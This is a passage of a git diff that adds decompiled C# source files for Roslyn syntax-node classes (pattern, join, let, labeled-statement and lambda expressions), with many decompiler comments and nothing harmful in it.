Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IsPatternExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private PatternSyntax? pattern; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public SyntaxToken IsKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IsPatternExpressionSyntax)(object)((SyntaxNode)this).Green).isKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRed(ref pattern, 2); + + internal IsPatternExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 2 => ((SyntaxNode)this).GetRed(ref pattern, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 2 => pattern, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIsPatternExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIsPatternExpression(this); + } + + public IsPatternExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || isKeyword != IsKeyword || pattern != Pattern) + { + IsPatternExpressionSyntax isPatternExpressionSyntax = SyntaxFactory.IsPatternExpression(expression, isKeyword, pattern); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return isPatternExpressionSyntax; + } + return isPatternExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public IsPatternExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, IsKeyword, Pattern); + } + + public IsPatternExpressionSyntax WithIsKeyword(SyntaxToken isKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, isKeyword, Pattern); + } + + public IsPatternExpressionSyntax WithPattern(PatternSyntax pattern) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, IsKeyword, pattern); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinClauseSyntax.cs new file mode 100644 index 0000000..a428cd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinClauseSyntax.cs @@ -0,0 +1,207 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class JoinClauseSyntax : QueryClauseSyntax +{ + private TypeSyntax? type; + + private ExpressionSyntax? inExpression; + + private ExpressionSyntax? leftExpression; + + private ExpressionSyntax? rightExpression; + + private JoinIntoClauseSyntax? into; + + public SyntaxToken JoinKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinClauseSyntax)(object)((SyntaxNode)this).Green).joinKeyword, ((SyntaxNode)this).Position, 0); + + public TypeSyntax? Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinClauseSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken InKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinClauseSyntax)(object)((SyntaxNode)this).Green).inKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ExpressionSyntax InExpression => ((SyntaxNode)this).GetRed(ref inExpression, 4); + + public SyntaxToken OnKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinClauseSyntax)(object)((SyntaxNode)this).Green).onKeyword, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public ExpressionSyntax LeftExpression => ((SyntaxNode)this).GetRed(ref leftExpression, 6); + + public SyntaxToken EqualsKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinClauseSyntax)(object)((SyntaxNode)this).Green).equalsKeyword, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public ExpressionSyntax RightExpression => ((SyntaxNode)this).GetRed(ref rightExpression, 8); + + public JoinIntoClauseSyntax? Into => ((SyntaxNode)this).GetRed(ref into, 9); + + internal JoinClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 4 => ((SyntaxNode)this).GetRed(ref inExpression, 4), + 6 => ((SyntaxNode)this).GetRed(ref leftExpression, 6), + 8 => ((SyntaxNode)this).GetRed(ref rightExpression, 8), + 9 => ((SyntaxNode)this).GetRed(ref into, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 4 => inExpression, + 6 => leftExpression, + 8 => rightExpression, + 9 => into, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitJoinClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitJoinClause(this); + } + + public JoinClauseSyntax Update(SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (joinKeyword != JoinKeyword || type != Type || identifier != Identifier || inKeyword != InKeyword || inExpression != InExpression || onKeyword != OnKeyword || leftExpression != LeftExpression || equalsKeyword != EqualsKeyword || rightExpression != RightExpression || into != Into) + { + JoinClauseSyntax joinClauseSyntax = SyntaxFactory.JoinClause(joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return joinClauseSyntax; + } + return joinClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public JoinClauseSyntax WithJoinKeyword(SyntaxToken joinKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(joinKeyword, Type, Identifier, InKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithType(TypeSyntax? type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, type, Identifier, InKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, identifier, InKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithInKeyword(SyntaxToken inKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, inKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithInExpression(ExpressionSyntax inExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, inExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithOnKeyword(SyntaxToken onKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, InExpression, onKeyword, LeftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithLeftExpression(ExpressionSyntax leftExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, InExpression, OnKeyword, leftExpression, EqualsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithEqualsKeyword(SyntaxToken equalsKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, InExpression, OnKeyword, LeftExpression, equalsKeyword, RightExpression, Into); + } + + public JoinClauseSyntax WithRightExpression(ExpressionSyntax rightExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, rightExpression, Into); + } + + public JoinClauseSyntax WithInto(JoinIntoClauseSyntax? into) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return Update(JoinKeyword, Type, Identifier, InKeyword, InExpression, OnKeyword, LeftExpression, EqualsKeyword, RightExpression, into); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinIntoClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinIntoClauseSyntax.cs new file mode 100644 index 0000000..e29265c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/JoinIntoClauseSyntax.cs @@ -0,0 +1,70 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class JoinIntoClauseSyntax : CSharpSyntaxNode +{ + public SyntaxToken IntoKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinIntoClauseSyntax)(object)((SyntaxNode)this).Green).intoKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinIntoClauseSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal JoinIntoClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitJoinIntoClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitJoinIntoClause(this); + } + + public JoinIntoClauseSyntax Update(SyntaxToken intoKeyword, SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (intoKeyword != IntoKeyword || identifier != Identifier) + { + JoinIntoClauseSyntax joinIntoClauseSyntax = SyntaxFactory.JoinIntoClause(intoKeyword, identifier); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return joinIntoClauseSyntax; + } + return joinIntoClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public JoinIntoClauseSyntax WithIntoKeyword(SyntaxToken intoKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(intoKeyword, Identifier); + } + + public JoinIntoClauseSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(IntoKeyword, identifier); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LabeledStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LabeledStatementSyntax.cs new file mode 100644 index 0000000..369d6c2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LabeledStatementSyntax.cs @@ -0,0 +1,137 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LabeledStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LabeledStatementSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LabeledStatementSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 3); + + public LabeledStatementSyntax Update(SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, identifier, colonToken, statement); + } + + internal LabeledStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref statement, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLabeledStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLabeledStatement(this); + } + + public LabeledStatementSyntax Update(SyntaxList attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || identifier != Identifier || colonToken != ColonToken || statement != Statement) + { + LabeledStatementSyntax labeledStatementSyntax = SyntaxFactory.LabeledStatement(attributeLists, identifier, colonToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return labeledStatementSyntax; + } + return labeledStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new LabeledStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Identifier, ColonToken, Statement); + } + + public LabeledStatementSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, identifier, ColonToken, Statement); + } + + public LabeledStatementSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Identifier, colonToken, Statement); + } + + public LabeledStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Identifier, ColonToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new LabeledStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LambdaExpressionSyntax.cs new file mode 100644 index 0000000..fa7145f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LambdaExpressionSyntax.cs @@ -0,0 +1,84 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class LambdaExpressionSyntax : AnonymousFunctionExpressionSyntax +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxToken ArrowToken { get; } + + public new LambdaExpressionSyntax WithBody(CSharpSyntaxNode body) + { + if (!(body is BlockSyntax block)) + { + return WithExpressionBody((ExpressionSyntax)body).WithBlock(null); + } + return WithBlock(block).WithExpressionBody(null); + } + + public new LambdaExpressionSyntax WithAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (LambdaExpressionSyntax)WithAsyncKeywordCore(asyncKeyword); + } + + internal LambdaExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public LambdaExpressionSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeListsCore(attributeLists); + } + + internal abstract LambdaExpressionSyntax WithAttributeListsCore(SyntaxList attributeLists); + + public LambdaExpressionSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return AddAttributeListsCore(items); + } + + internal abstract LambdaExpressionSyntax AddAttributeListsCore(params AttributeListSyntax[] items); + + public LambdaExpressionSyntax WithArrowToken(SyntaxToken arrowToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArrowTokenCore(arrowToken); + } + + internal abstract LambdaExpressionSyntax WithArrowTokenCore(SyntaxToken arrowToken); + + public new LambdaExpressionSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (LambdaExpressionSyntax)WithModifiersCore(modifiers); + } + + public new LambdaExpressionSyntax WithBlock(BlockSyntax? block) + { + return (LambdaExpressionSyntax)WithBlockCore(block); + } + + public new LambdaExpressionSyntax WithExpressionBody(ExpressionSyntax? expressionBody) + { + return (LambdaExpressionSyntax)WithExpressionBodyCore(expressionBody); + } + + public new LambdaExpressionSyntax AddModifiers(params SyntaxToken[] items) + { + return (LambdaExpressionSyntax)AddModifiersCore(items); + } + + public new AnonymousFunctionExpressionSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + return AddBlockAttributeListsCore(items); + } + + public new AnonymousFunctionExpressionSyntax AddBlockStatements(params StatementSyntax[] items) + { + return AddBlockStatementsCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LetClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LetClauseSyntax.cs new file mode 100644 index 0000000..bf5b8c2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LetClauseSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LetClauseSyntax : QueryClauseSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken LetKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LetClauseSyntax)(object)((SyntaxNode)this).Green).letKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LetClauseSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LetClauseSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + internal LetClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 3); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLetClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLetClause(this); + } + + public LetClauseSyntax Update(SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (letKeyword != LetKeyword || identifier != Identifier || equalsToken != EqualsToken || expression != Expression) + { + LetClauseSyntax letClauseSyntax = SyntaxFactory.LetClause(letKeyword, identifier, equalsToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return letClauseSyntax; + } + return letClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public LetClauseSyntax WithLetKeyword(SyntaxToken letKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(letKeyword, Identifier, EqualsToken, Expression); + } + + public LetClauseSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LetKeyword, identifier, EqualsToken, Expression); + } + + public LetClauseSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LetKeyword, Identifier, equalsToken, Expression); + } + + public LetClauseSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(LetKeyword, Identifier, EqualsToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectivePositionSyntax.cs 